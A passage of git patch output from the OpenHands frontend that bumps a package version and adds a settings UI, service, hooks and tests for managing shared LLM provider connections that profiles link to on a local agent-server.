["reviewTone"], }); }); }); diff --git a/package-lock.json b/package-lock.json index 784dbba39c61..5847be392baa 100644 --- a/package-lock.json +++ b/package-lock.json @@ -13,7 +13,7 @@ "@heroui/react": "2.8.10", "@microlink/react-json-view": "1.31.25", "@monaco-editor/react": "4.7.0", - "@openhands/extensions": "0.16.0", + "@openhands/extensions": "0.17.0", "@openhands/typescript-client": "1.38.0", "@react-router/node": "7.18.2", "@react-router/serve": "7.18.2", @@ -4164,9 +4164,9 @@ "license": "MIT" }, "node_modules/@openhands/extensions": { - "version": "0.16.0", - "resolved": "https://registry.npmjs.org/@openhands/extensions/-/extensions-0.16.0.tgz", - "integrity": "sha512-t9rTxmR782UZ6nbbSBK23EMlzsgJzz4yi34q6mxgPY7ukWehiK7RkWY6rP/u4o7/K0zzvR6/nIJ4OijvttrfVA==", + "version": "0.17.0", + "resolved": "https://registry.npmjs.org/@openhands/extensions/-/extensions-0.17.0.tgz", + "integrity": "sha512-y3+OSHsMWN1sZVT1NERVdCnZVBgHg3F5E4tlYea6bb/nLzX750SuvJpfUJNitJqxN7ls+jMYVgBOgee6KoeLqA==", "license": "MIT", "engines": { "node": ">=18.20.0" diff --git a/package.json b/package.json index a2909c043091..e4d9dfd79490 100644 --- a/package.json +++ b/package.json @@ -23,7 +23,7 @@ "@heroui/react": "2.8.10", "@microlink/react-json-view": "1.31.25", "@monaco-editor/react": "4.7.0", - "@openhands/extensions": "0.16.0", + "@openhands/extensions": "0.17.0", "@openhands/typescript-client": "1.38.0", "@react-router/node": "7.18.2", "@react-router/serve": "7.18.2", From f2dd33090592f8777e3f2d1a519ddb44866e595e Mon Sep 17 00:00:00 2001 From: Juan Pedro Michelini Jorge Date: Wed, 19 Aug 2026 14:12:06 -0300 Subject: [PATCH 19/32] feat: add LLM provider-connections UI (local agent-server) (#16616) Co-authored-by: openhands --- .../llm-settings-local-view.test.tsx | 25 ++ __tests__/routes/llm-settings.test.tsx | 96 ++++++ .../profiles-service/profiles-service.api.ts | 39 ++- .../provider-connections-service.api.test.ts | 130 +++++++ .../provider-connections-service.api.ts | 111 ++++++ .../delete-provider-connection-modal.tsx | 96 ++++++ .../llm-profiles/llm-profiles-manager.tsx | 97 ++++-- .../llm-profiles/llm-settings-local-view.tsx | 59 +++- .../settings/llm-profiles/profile-row.tsx | 11 + .../llm-profiles/profiles-body.test.ts | 61 ++++ .../settings/llm-profiles/profiles-body.tsx | 116 +++++-- .../provider-connection-modal.tsx | 206 +++++++++++ .../llm-profiles/provider-connection-row.tsx | 73 ++++ .../provider-connections-manager.test.tsx | 98 ++++++ .../provider-connections-manager.tsx | 134 ++++++++ .../use-create-provider-connection.ts | 21 ++ .../use-delete-provider-connection.ts | 25 ++ .../use-update-provider-connection.ts | 34 ++ src/hooks/query/query-keys.ts | 4 + src/hooks/query/use-provider-connections.ts | 27 ++ src/i18n/translation.json | 323 ++++++++++++++++++ src/routes/llm-settings.tsx | 137 ++++++-- 22 files changed, 1829 insertions(+), 94 deletions(-) create mode 100644 src/api/provider-connections-service/provider-connections-service.api.test.ts create mode 100644 src/api/provider-connections-service/provider-connections-service.api.ts create mode 100644 src/components/features/settings/llm-profiles/delete-provider-connection-modal.tsx create mode 100644 src/components/features/settings/llm-profiles/profiles-body.test.ts create mode 100644 src/components/features/settings/llm-profiles/provider-connection-modal.tsx create mode 100644 src/components/features/settings/llm-profiles/provider-connection-row.tsx create mode 100644 src/components/features/settings/llm-profiles/provider-connections-manager.test.tsx create mode 100644 src/components/features/settings/llm-profiles/provider-connections-manager.tsx create mode 100644 src/hooks/mutation/use-create-provider-connection.ts create mode 100644 src/hooks/mutation/use-delete-provider-connection.ts create mode 100644 src/hooks/mutation/use-update-provider-connection.ts create mode 100644 src/hooks/query/use-provider-connections.ts diff --git a/__tests__/components/settings/llm-profiles/llm-settings-local-view.test.tsx b/__tests__/components/settings/llm-profiles/llm-settings-local-view.test.tsx index 588854ad038f..c8c8dc5e67a8 100644 --- a/__tests__/components/settings/llm-profiles/llm-settings-local-view.test.tsx +++ b/__tests__/components/settings/llm-profiles/llm-settings-local-view.test.tsx @@ -16,6 +16,7 @@ import ProfilesService from "#/api/profiles-service/profiles-service.api"; vi.mock("#/routes/llm-settings", async () => { const React = await vi.importActual("react"); return { + LLM_PROVIDER_CONNECTION_KEY: "llm.provider_connection_id", LlmSettingsScreen: ({ initialValueOverrides, onSaveControlChange, @@ -654,6 +655,30 @@ describe("LlmSettingsLocalView", () => { await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled()); }, ); + + it("skips pre-flight validation for a connection-linked profile", async () => { + // A linked profile carries no inline key — its credential lives on the + // provider connection — so there is nothing on this profile to pre-flight. + const user = userEvent.setup(); + vi.mocked(ProfilesService.getProfile).mockResolvedValue({ + name: "gpt-4-profile", + api_key_set: true, + config: { + model: "anthropic/claude-sonnet-4", + provider_connection_id: "conn1", + }, + }); + mockSaveMutateAsync.mockResolvedValue({ success: true }); + renderWithProviders(); + await openEditView(user); + await waitFor(() => { + expect(screen.getByTestId("save-profile-btn")).not.toBeDisabled(); + }); + await user.click(screen.getByTestId("save-profile-btn")); + + await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled()); + expect(ProfilesService.validateProfile).not.toHaveBeenCalled(); + }); }); describe("Basic tab save", () => { diff --git a/__tests__/routes/llm-settings.test.tsx b/__tests__/routes/llm-settings.test.tsx index f8cfded4f030..7ed33abb30f9 100644 --- a/__tests__/routes/llm-settings.test.tsx +++ b/__tests__/routes/llm-settings.test.tsx @@ -12,6 +12,9 @@ import * as activeBackendContext from "#/contexts/active-backend-context"; import type { Backend } from "#/api/backend-registry/types"; import * as useLlmProfilesHook from "#/hooks/query/use-llm-profiles"; import LLMSubscriptionService from "#/api/llm-subscription-service"; +import ProviderConnectionsService, { + type ProviderConnection, +} from "#/api/provider-connections-service/provider-connections-service.api"; vi.mock("#/hooks/query/use-llm-profiles"); // The profile manager gates mutate controls on this hook; default to a user @@ -338,6 +341,99 @@ describe("LlmSettingsScreen", () => { }); }); +describe("LlmSettingsScreen - provider connection selector", () => { + const connection: ProviderConnection = { + id: "conn-1", + display_name: "My OpenAI", + provider: "openai", + base_url: null, + created_at: 1, + updated_at: 2, + api_key_set: true, + }; + + beforeEach(() => { + vi.restoreAllMocks(); + vi.spyOn(SettingsService, "getSettings").mockResolvedValue( + buildSettings({ llm_model: "openai/gpt-4o", llm_api_key_set: true }), + ); + }); + + it("hides the selector on cloud even when a connection is linked", async () => { + vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({ + backend: mockCloudBackend, + } as ReturnType); + const listSpy = vi + .spyOn(ProviderConnectionsService, "list") + .mockResolvedValue([connection]); + + renderLlmSettingsScreen({ + embedded: true, + hideSaveButton: true, + // showProviderConnection omitted → cloud path + initialValueOverrides: { + "llm.model": "openai/gpt-4o", + "llm.provider_connection_id": "conn-1", + }, + }); + + await screen.findByTestId("llm-settings-screen"); + expect( + screen.queryByTestId("llm-provider-connection-input"), + ).not.toBeInTheDocument(); + expect(listSpy).not.toHaveBeenCalled(); + }); + + it("hides the API key / base URL inputs when linked to a connection", async () => { + vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({ + backend: mockLocalBackend, + } as ReturnType); + vi.spyOn(ProviderConnectionsService, "list").mockResolvedValue([ + connection, + ]); + + renderLlmSettingsScreen({ + embedded: true, + hideSaveButton: true, + showProviderConnection: true, + initialValueOverrides: { + "llm.model": "openai/gpt-4o", + "llm.provider_connection_id": "conn-1", + }, + }); + + await screen.findByTestId("llm-settings-screen"); + await screen.findByTestId("llm-provider-connection-input"); + expect(screen.queryByTestId("llm-api-key-input")).not.toBeInTheDocument(); + expect(screen.queryByTestId("base-url-input")).not.toBeInTheDocument(); + }); + + it("still renders the selector for an orphaned link when no connections load", async () => { + // Regression: a profile linked to a since-deleted connection would hide the + // API key / base URL inputs while also hiding the selector, leaving no way + // to recover the credential or unlink. + vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({ + backend: mockLocalBackend, + } as ReturnType); + vi.spyOn(ProviderConnectionsService, "list").mockResolvedValue([]); + + renderLlmSettingsScreen({ + embedded: true, + hideSaveButton: true, + showProviderConnection: true, + initialValueOverrides: { + "llm.model": "openai/gpt-4o", + "llm.provider_connection_id": "conn-gone", + }, + }); + + await screen.findByTestId("llm-settings-screen"); + expect( + await screen.findByTestId("llm-provider-connection-input"), + ).toBeInTheDocument(); + }); +}); + describe("LlmSettingsRoute - backend mode rendering", () => { beforeEach(() => { vi.restoreAllMocks(); diff --git a/src/api/profiles-service/profiles-service.api.ts b/src/api/profiles-service/profiles-service.api.ts index 7d08ceeb6ca7..c2a511e21b6c 100644 --- a/src/api/profiles-service/profiles-service.api.ts +++ b/src/api/profiles-service/profiles-service.api.ts @@ -20,15 +20,15 @@ import { ProfilesClient, type GetProfileOptions, } from "@openhands/typescript-client/clients"; -import { - type ProfileInfo, - type ProfileListResponse, - type ProfileDetailResponse, - type ProfileMutationResponse, - type ActivateProfileResponse, - type SaveProfileRequest, - type ExposeSecretsMode, - type ValidateProfileResponse, +import type { + ProfileInfo as ClientProfileInfo, + ProfileListResponse as ClientProfileListResponse, + ProfileDetailResponse, + ProfileMutationResponse, + ActivateProfileResponse, + SaveProfileRequest, + ExposeSecretsMode, + ValidateProfileResponse, } from "@openhands/typescript-client"; import { getAgentServerClientOptions } from "../agent-server-client-options"; import { getActiveBackend } from "../backend-registry/active-store"; @@ -41,10 +41,27 @@ import { saveCloudProfile, } from "../cloud/profiles-service.api"; +/** + * Profile summaries carry an optional `provider_connection_id` (the shared + * provider connection a profile links to), but `@openhands/typescript-client` + * predates that field. Widen the client types here so consumers can read it; it + * stays optional, so a client response without the field is still assignable. + */ +export interface ProfileInfo extends ClientProfileInfo { + provider_connection_id?: string | null; + /** True when provider_connection_id is set but the referenced connection no longer exists. */ + provider_connection_broken?: boolean; +} + +export interface ProfileListResponse extends Omit< + ClientProfileListResponse, + "profiles" +> { + profiles: ProfileInfo[]; +} + // Re-export SDK types for consumers export type { - ProfileInfo, - ProfileListResponse, ProfileDetailResponse, ProfileMutationResponse, ActivateProfileResponse, diff --git a/src/api/provider-connections-service/provider-connections-service.api.test.ts b/src/api/provider-connections-service/provider-connections-service.api.test.ts new file mode 100644 index 000000000000..14817d154211 --- /dev/null +++ b/src/api/provider-connections-service/provider-connections-service.api.test.ts @@ -0,0 +1,130 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { + setActiveSelection, + setRegisteredBackends, +} from "#/api/backend-registry/active-store"; +import type { Backend } from "#/api/backend-registry/types"; +import { AgentServerClient } from "@openhands/typescript-client/clients"; +import ProviderConnectionsService from "./provider-connections-service.api"; + +const getMock = vi.hoisted(() => vi.fn()); +const postMock = vi.hoisted(() => vi.fn()); +const patchMock = vi.hoisted(() => vi.fn()); +const deleteMock = vi.hoisted(() => vi.fn()); +const closeMock = vi.hoisted(() => vi.fn()); + +vi.mock("@openhands/typescript-client/clients", () => ({ + AgentServerClient: vi.fn(function AgentServerClientMock() { + return { + get: getMock, + post: postMock, + patch: patchMock, + delete: deleteMock, + close: closeMock, + }; + }), +})); + +const localBackend: Backend = { + id: "local-test", + name: "Local test backend", + host: "http://localhost:3000", + apiKey: "test-session-key", + kind: "local", +}; + +const connection = { + id: "conn-1", + display_name: "My OpenAI", + provider: "openai", + base_url: null, + created_at: 1, + updated_at: 2, + api_key_set: true, +}; + +const PATH = "/api/llm/provider-connections"; + +describe("ProviderConnectionsService", () => { + beforeEach(() => { + getMock.mockReset(); + postMock.mockReset(); + patchMock.mockReset(); + deleteMock.mockReset(); + closeMock.mockReset(); + vi.mocked(AgentServerClient).mockClear(); + setRegisteredBackends([localBackend]); + setActiveSelection({ backendId: localBackend.id }); + }); + + afterEach(() => { + setActiveSelection(null); + setRegisteredBackends([]); + }); + + it("lists connections via the typed client and closes it", async () => { + getMock.mockResolvedValue([connection]); + + const result = await ProviderConnectionsService.list(); + + expect(result).toEqual([connection]); + expect(vi.mocked(AgentServerClient)).toHaveBeenCalledWith({ + host: "http://localhost:3000", + apiKey: "test-session-key", + }); + expect(getMock).toHaveBeenCalledWith(PATH, { responseType: "json" }); + expect(closeMock).toHaveBeenCalled(); + }); + + it("creates a connection with the request body", async () => { + postMock.mockResolvedValue(connection); + + const request = { + display_name: "My OpenAI", + provider: "openai", + api_key: "sk-123", + base_url: null, + }; + const result = await ProviderConnectionsService.create(request); + + expect(result).toEqual(connection); + expect(postMock).toHaveBeenCalledWith(PATH, request, { + responseType: "json", + }); + expect(closeMock).toHaveBeenCalled(); + }); + + it("updates a connection at the id-scoped path", async () => { + patchMock.mockResolvedValue(connection); + + const result = await ProviderConnectionsService.update("conn-1", { + display_name: "Renamed", + }); + + expect(result).toEqual(connection); + expect(patchMock).toHaveBeenCalledWith( + `${PATH}/conn-1`, + { display_name: "Renamed" }, + { responseType: "json" }, + ); + expect(closeMock).toHaveBeenCalled(); + }); + + it("url-encodes the id when deleting", async () => { + deleteMock.mockResolvedValue(connection); + + await ProviderConnectionsService.delete("a b/c"); + + expect(deleteMock).toHaveBeenCalledWith(`${PATH}/a%20b%2Fc`, { + responseType: "json", + }); + expect(closeMock).toHaveBeenCalled(); + }); + + it("closes the client even when the request throws", async () => { + getMock.mockRejectedValue(new Error("boom")); + + await expect(ProviderConnectionsService.list()).rejects.toThrow("boom"); + expect(closeMock).toHaveBeenCalled(); + }); +}); diff --git a/src/api/provider-connections-service/provider-connections-service.api.ts b/src/api/provider-connections-service/provider-connections-service.api.ts new file mode 100644 index 000000000000..6126ff3695c2 --- /dev/null +++ b/src/api/provider-connections-service/provider-connections-service.api.ts @@ -0,0 +1,111 @@ +/** + * ProviderConnectionsService is a thin wrapper over the local agent-server's + * `/api/llm/provider-connections` CRUD endpoints. A provider connection is a + * shared `api_key` + optional `base_url` that one or more LLM profiles + * reference by id; the agent-server resolves the credential into a runnable LLM + * at profile-load time, so this service only manages the stored connections. + * + * These endpoints exist only on the agent-server (local backend). Cloud has no + * equivalent yet, so callers must gate usage on `backend.kind === "local"`. + * + * There is no generated client for these routes in `@openhands/typescript-client` + * yet, so requests go through the generic `AgentServerClient` verb helpers — + * the same approach `LLMBalanceService` uses. + */ +import { AgentServerClient } from "@openhands/typescript-client/clients"; +import { getAgentServerClientOptions } from "../agent-server-client-options"; + +const PROVIDER_CONNECTIONS_PATH = "/api/llm/provider-connections"; + +export interface ProviderConnection { + id: string; + display_name: string; + provider: string; + base_url: string | null; + created_at: number; + updated_at: number; + /** Whether the stored connection currently holds a usable key. */ + api_key_set: boolean; +} + +export interface CreateProviderConnectionRequest { + display_name: string; + provider: string; + api_key: string; + base_url?: string | null; +} + +/** + * Partial update. Only the provided fields change. `api_key` may be sent to + * rotate the key; the agent-server rejects `api_key: null` (a connection must + * always keep a key), so callers omit it to leave the key unchanged. + */ +export interface UpdateProviderConnectionRequest { + display_name?: string; + provider?: string; + api_key?: string; + base_url?: string | null; +} + +function createClient(): AgentServerClient { + const { host, apiKey } = getAgentServerClientOptions(); + return new AgentServerClient({ host, ...(apiKey ? { apiKey } : {}) }); +} + +class ProviderConnectionsService { + static async list(): Promise { + const client = createClient(); + try { + return await client.get(PROVIDER_CONNECTIONS_PATH, { + responseType: "json", + }); + } finally { + client.close(); + } + } + + static async create( + request: CreateProviderConnectionRequest, + ): Promise { + const client = createClient(); + try { + return await client.post( + PROVIDER_CONNECTIONS_PATH, + request, + { responseType: "json" }, + ); + } finally { + client.close(); + } + } + + static async update( + id: string, + request: UpdateProviderConnectionRequest, + ): Promise { + const client = createClient(); + try { + return await client.patch( + `${PROVIDER_CONNECTIONS_PATH}/${encodeURIComponent(id)}`, + request, + { responseType: "json" }, + ); + } finally { + client.close(); + } + } + + static async delete(id: string): Promise { + const client = createClient(); + try { + return await client.delete( + `${PROVIDER_CONNECTIONS_PATH}/${encodeURIComponent(id)}`, + { responseType: "json" }, + ); + } finally { + client.close(); + } + } +} + +export default ProviderConnectionsService; diff --git a/src/components/features/settings/llm-profiles/delete-provider-connection-modal.tsx b/src/components/features/settings/llm-profiles/delete-provider-connection-modal.tsx new file mode 100644 index 000000000000..d557cfdbae6f --- /dev/null +++ b/src/components/features/settings/llm-profiles/delete-provider-connection-modal.tsx @@ -0,0 +1,96 @@ +import { useRef } from "react"; +import { useTranslation } from "react-i18next"; +import { BrandButton } from "#/components/features/settings/brand-button"; +import { LoadingSpinner } from "#/components/shared/loading-spinner"; +import { ApiKeyModalBase } from "#/components/features/settings/api-key-modal-base"; +import type { ProviderConnection } from "#/api/provider-connections-service/provider-connections-service.api"; +import { useDeleteProviderConnection } from "#/hooks/mutation/use-delete-provider-connection"; +import { + displayErrorToast, + displaySuccessToast, +} from "#/utils/custom-toast-handlers"; +import { getApiErrorMessage } from "#/utils/api-error-message"; +import { I18nKey } from "#/i18n/declaration"; + +interface DeleteProviderConnectionModalProps { + connection: ProviderConnection | null; + onClose: () => void; +} + +export function DeleteProviderConnectionModal({ + connection, + onClose, +}: DeleteProviderConnectionModalProps) { + const { t } = useTranslation("openhands"); + const deleteConnection = useDeleteProviderConnection(); + const cancelButtonRef = useRef(null); + + if (!connection) return null; + + const handleDelete = async () => { + try { + await deleteConnection.mutateAsync(connection.id); + displaySuccessToast( + t(I18nKey.SETTINGS$PROVIDER_CONNECTION_DELETED, { + name: connection.display_name, + }), + ); + onClose(); + } catch (error) { + // The agent-server returns 409 with a message naming the profiles that + // still reference this connection; surface it verbatim. + displayErrorToast(getApiErrorMessage(error, t(I18nKey.ERROR$GENERIC))); + } + }; + + const handleClose = () => { + if (!deleteConnection.isPending) onClose(); + }; + + const footer = ( + <> + + {t(I18nKey.BUTTON$CANCEL)} + + + {deleteConnection.isPending ? ( + <> + + {t(I18nKey.BUTTON$DELETE)} + + ) : ( + t(I18nKey.BUTTON$DELETE) + )} + + + ); + + return ( + +

    + {t(I18nKey.SETTINGS$PROVIDER_CONNECTION_DELETE_CONFIRMATION, { + name: connection.display_name, + })} +

    +
    + ); +} diff --git a/src/components/features/settings/llm-profiles/llm-profiles-manager.tsx b/src/components/features/settings/llm-profiles/llm-profiles-manager.tsx index c354147a4059..28f617190f2e 100644 --- a/src/components/features/settings/llm-profiles/llm-profiles-manager.tsx +++ b/src/components/features/settings/llm-profiles/llm-profiles-manager.tsx @@ -1,17 +1,20 @@ -import { useState } from "react"; +import { useMemo, useState } from "react"; import { useTranslation } from "react-i18next"; import { BrandButton } from "#/components/features/settings/brand-button"; import { RenameProfileModal } from "./rename-profile-modal"; import { DeleteProfileModal } from "./delete-profile-modal"; import { ProfilesBody } from "./profiles-body"; +import { ProviderConnectionsManager } from "./provider-connections-manager"; import ProfilesService, { ProfileInfo, type SaveProfileRequest, } from "#/api/profiles-service/profiles-service.api"; import { useLlmProfiles } from "#/hooks/query/use-llm-profiles"; +import { useProviderConnections } from "#/hooks/query/use-provider-connections"; import { useActivateLlmProfile } from "#/hooks/mutation/use-activate-llm-profile"; import { useSaveLlmProfile } from "#/hooks/mutation/use-save-llm-profile"; import { useCanManageOrgProfiles } from "#/hooks/use-can-manage-org-profiles"; +import { useActiveBackend } from "#/contexts/active-backend-context"; import { displayErrorToast, displaySuccessToast, @@ -34,6 +37,14 @@ export function LlmProfilesManager({ // Cloud members are view-only; only owners/admins (and all local users) may // add, edit, rename, duplicate, delete, or activate profiles. const canManage = useCanManageOrgProfiles(); + // Provider connections exist only on the local agent-server. + const { backend } = useActiveBackend(); + const isLocal = backend.kind === "local"; + const { + data: connections, + isLoading: isLoadingConnections, + error: connectionsError, + } = useProviderConnections(); const [profileToRename, setProfileToRename] = useState( null, ); @@ -43,6 +54,20 @@ export function LlmProfilesManager({ const profiles = data?.profiles ?? []; const active = data?.active_profile ?? null; + const connectionList = useMemo(() => connections ?? [], [connections]); + + const connectionNamesById = useMemo( + () => Object.fromEntries(connectionList.map((c) => [c.id, c.display_name])), + [connectionList], + ); + const linkedCountById = useMemo(() => { + const counts: Record = {}; + for (const profile of profiles) { + const id = profile.provider_connection_id; + if (id) counts[id] = (counts[id] ?? 0) + 1; + } + return counts; + }, [profiles]); const handleActivate = async (name: string) => { try { @@ -95,37 +120,49 @@ export function LlmProfilesManager({ return ( <> -
    -
    -

    - {t(I18nKey.SETTINGS$AVAILABLE_PROFILES)} -

    - {onAddProfile && canManage ? ( - - {t(I18nKey.SETTINGS$ADD_LLM_PROFILE)} - - ) : null} +
    +
    +
    +

    + {t(I18nKey.SETTINGS$AVAILABLE_PROFILES)} +

    + {onAddProfile && canManage ? ( + + {t(I18nKey.SETTINGS$ADD_LLM_PROFILE)} + + ) : null} +
    + +
    - + {isLocal && canManage ? ( + + ) : null}
    ("list"); const [profileName, setProfileName] = useState(""); const [editingProfile, setEditingProfile] = useState( @@ -197,6 +205,13 @@ export function LlmSettingsLocalView() { OPENAI_SUBSCRIPTION_VENDOR; } + // Seed the provider-connection link explicitly (it is excluded from the + // schema-driven inputs), so an unchanged profile keeps its connection. + initialValues[LLM_PROVIDER_CONNECTION_KEY] = + typeof config.provider_connection_id === "string" + ? config.provider_connection_id + : ""; + setEditingProfile({ profile, initialValues, baseConfig: config }); setProfileName(profile.name); setViewMode("edit"); @@ -271,14 +286,31 @@ export function LlmSettingsLocalView() { const llmConfig: Record = { ...baseConfig, ...dirtyLlm }; const authType = resolveLlmAuthType(llmConfig.auth_type); + // A profile linked to a provider connection sources its credential from the + // connection, so it never carries an inline api_key / base_url. The form + // value is the source of truth: empty (or absent) means "not linked". + const connectionId = isLocal + ? String(saveControl.values[LLM_PROVIDER_CONNECTION_KEY] ?? "").trim() + : ""; + if (authType === LLM_AUTH_TYPE_SUBSCRIPTION) { llmConfig.auth_type = LLM_AUTH_TYPE_SUBSCRIPTION; llmConfig.subscription_vendor = OPENAI_SUBSCRIPTION_VENDOR; + llmConfig.provider_connection_id = null; + delete llmConfig.api_key; + delete llmConfig.base_url; + } else if (connectionId) { + llmConfig.auth_type = LLM_AUTH_TYPE_API_KEY; + llmConfig.subscription_vendor = null; + llmConfig.provider_connection_id = connectionId; delete llmConfig.api_key; delete llmConfig.base_url; } else { llmConfig.auth_type = LLM_AUTH_TYPE_API_KEY; llmConfig.subscription_vendor = null; + // Clear any prior link so unlinking sticks (only relevant on local; on + // cloud the field stays untouched below). + if (isLocal) llmConfig.provider_connection_id = null; // The Basic tab has no base_url field. Preserve an existing hidden value // when the model did not actually change; if the user chooses a new model, @@ -324,14 +356,20 @@ export function LlmSettingsLocalView() { setIsSaving(true); setIsValidating(true); try { - const preflight = await ProfilesService.validateProfile(trimmedName, { - llm: llmConfig as SaveProfileRequest["llm"], - include_secrets: true, - }); - if (preflight && !preflight.valid) { - const errorMsg = preflight.error?.message ?? t(I18nKey.ERROR$GENERIC); - displayErrorToast(errorMsg); - return; + // Pre-flight validation fires a minimal completion to catch a + // misconfigured profile before saving it. Skip it for connection-linked + // profiles: their credential lives on the provider connection, not + // inline, so there is nothing on this profile to pre-flight here. + if (!connectionId) { + const preflight = await ProfilesService.validateProfile(trimmedName, { + llm: llmConfig as SaveProfileRequest["llm"], + include_secrets: true, + }); + if (preflight && !preflight.valid) { + const errorMsg = preflight.error?.message ?? t(I18nKey.ERROR$GENERIC); + displayErrorToast(errorMsg); + return; + } } setIsValidating(false); @@ -372,6 +410,7 @@ export function LlmSettingsLocalView() { }, [ saveControl, isNameValid, + isLocal, profileName, viewMode, editingProfile, @@ -449,10 +488,12 @@ export function LlmSettingsLocalView() { "llm.model": DEFAULT_SETTINGS.llm_model, "llm.api_key": "", "llm.base_url": "", + [LLM_PROVIDER_CONNECTION_KEY]: "", [LLM_AUTH_TYPE_KEY]: LLM_AUTH_TYPE_API_KEY, [LLM_SUBSCRIPTION_VENDOR_KEY]: OPENAI_SUBSCRIPTION_VENDOR, } } + showProviderConnection={isLocal} onSaveControlChange={handleSaveControlChange} /> diff --git a/src/components/features/settings/llm-profiles/profile-row.tsx b/src/components/features/settings/llm-profiles/profile-row.tsx index 67cd79a3503f..cf1415355b6f 100644 --- a/src/components/features/settings/llm-profiles/profile-row.tsx +++ b/src/components/features/settings/llm-profiles/profile-row.tsx @@ -1,4 +1,5 @@ import { useRef, useState } from "react"; +import { AlertTriangle } from "lucide-react"; import { useTranslation } from "react-i18next"; import { ProfileActionsMenu } from "./profile-actions-menu"; import { ProfileInfo } from "#/api/profiles-service/profiles-service.api"; @@ -72,6 +73,16 @@ export function ProfileRow({ {t(I18nKey.SETTINGS$PROFILE_DEFAULT)} )} + {profile.provider_connection_broken && ( + + + {t(I18nKey.SETTINGS$PROFILE_BROKEN_CONNECTION)} + + )}
    {canManage && (
    diff --git a/src/components/features/settings/llm-profiles/profiles-body.test.ts b/src/components/features/settings/llm-profiles/profiles-body.test.ts new file mode 100644 index 000000000000..173bef0282ee --- /dev/null +++ b/src/components/features/settings/llm-profiles/profiles-body.test.ts @@ -0,0 +1,61 @@ +import { describe, expect, it } from "vitest"; +import type { ProfileInfo } from "#/api/profiles-service/profiles-service.api"; +import { groupProfilesByConnection } from "./profiles-body"; + +function profile(name: string, connectionId?: string | null): ProfileInfo { + return { + name, + model: "openai/gpt-4o", + base_url: null, + api_key_set: true, + provider_connection_id: connectionId ?? null, + }; +} + +describe("groupProfilesByConnection", () => { + it("groups linked profiles by connection, preserving order", () => { + const groups = groupProfilesByConnection( + [profile("a", "conn-1"), profile("b", "conn-2"), profile("c", "conn-1")], + { "conn-1": "OpenAI", "conn-2": "Anthropic" }, + ); + + expect(groups).toEqual([ + { + connectionId: "conn-1", + label: "OpenAI", + profiles: [profile("a", "conn-1"), profile("c", "conn-1")], + }, + { + connectionId: "conn-2", + label: "Anthropic", + profiles: [profile("b", "conn-2")], + }, + ]); + }); + + it("collects unlinked profiles into a trailing null group", () => { + const groups = groupProfilesByConnection( + [profile("a", "conn-1"), profile("b"), profile("c", null)], + { "conn-1": "OpenAI" }, + ); + + expect(groups.map((g) => g.connectionId)).toEqual(["conn-1", null]); + expect(groups[1].label).toBeNull(); + expect(groups[1].profiles.map((p) => p.name)).toEqual(["b", "c"]); + }); + + it("falls back to the connection id when no display name is known", () => { + const groups = groupProfilesByConnection([profile("a", "conn-x")], {}); + + expect(groups[0].label).toBe("conn-x"); + }); + + it("omits the unlinked group when every profile is linked", () => { + const groups = groupProfilesByConnection([profile("a", "conn-1")], { + "conn-1": "OpenAI", + }); + + expect(groups).toHaveLength(1); + expect(groups[0].connectionId).toBe("conn-1"); + }); +}); diff --git a/src/components/features/settings/llm-profiles/profiles-body.tsx b/src/components/features/settings/llm-profiles/profiles-body.tsx index 46c78d769ad8..2fdfd94fa022 100644 --- a/src/components/features/settings/llm-profiles/profiles-body.tsx +++ b/src/components/features/settings/llm-profiles/profiles-body.tsx @@ -17,6 +17,13 @@ interface ProfilesBodyProps { active: string | null; /** When false, rows render read-only (no actions menu) — cloud members. */ canManage: boolean; + /** + * Display name per provider-connection id. When non-empty, profiles are + * grouped under their connection's name so models sharing a provider are + * visually clustered. Empty (the default, and always on cloud) renders a flat + * list identical to before. + */ + connectionNamesById?: Record; onActivate: (name: string) => void; onEdit: (profile: ProfileInfo) => void; onRename: (profile: ProfileInfo) => void; @@ -25,12 +32,60 @@ interface ProfilesBodyProps { isActivating: boolean; } +interface ProfileGroup { + /** Connection id, or null for profiles with no provider connection. */ + connectionId: string | null; + label: string | null; + profiles: ProfileInfo[]; +} + +/** + * Bucket profiles by their `provider_connection_id`, preserving input order + * within each group and ordering groups by first appearance. Unlinked profiles + * collect under a trailing `null` group. + */ +export function groupProfilesByConnection( + profiles: ProfileInfo[], + connectionNamesById: Record, +): ProfileGroup[] { + const groups = new Map(); + const unlinked: ProfileGroup = { + connectionId: null, + label: null, + profiles: [], + }; + + for (const profile of profiles) { + const connectionId = profile.provider_connection_id ?? null; + if (!connectionId) { + unlinked.profiles.push(profile); + continue; + } + let group = groups.get(connectionId); + if (!group) { + group = { + connectionId, + label: connectionNamesById[connectionId] ?? connectionId, + profiles: [], + }; + groups.set(connectionId, group); + } + group.profiles.push(profile); + } + + const linkedGroups = [...groups.values()]; + return unlinked.profiles.length > 0 + ? [...linkedGroups, unlinked] + : linkedGroups; +} + export function ProfilesBody({ isLoading, loadError, profiles, active, canManage, + connectionNamesById = {}, onActivate, onEdit, onRename, @@ -40,6 +95,26 @@ export function ProfilesBody({ }: ProfilesBodyProps) { const { t } = useTranslation("openhands"); + const renderRow = (profile: ProfileInfo) => ( + + ); + + const listClassName = cn( + settingsListContainerClassName, + settingsListDividerClassName, + ); + if (isLoading) { return (
    @@ -74,26 +149,29 @@ export function ProfilesBody({ ); } + // Group only when there is at least one linked connection to show; otherwise + // (every profile today, and always on cloud) render the flat list unchanged. + const hasLinkedProfiles = profiles.some((p) => p.provider_connection_id); + if (!hasLinkedProfiles) { + return
    {profiles.map(renderRow)}
    ; + } + + const groups = groupProfilesByConnection(profiles, connectionNamesById); return ( -
    - {profiles.map((profile) => ( - +
    + {groups.map((group) => ( +
    +

    + {group.label ?? t(I18nKey.SETTINGS$PROFILES_UNGROUPED)} +

    +
    {group.profiles.map(renderRow)}
    +
    ))}
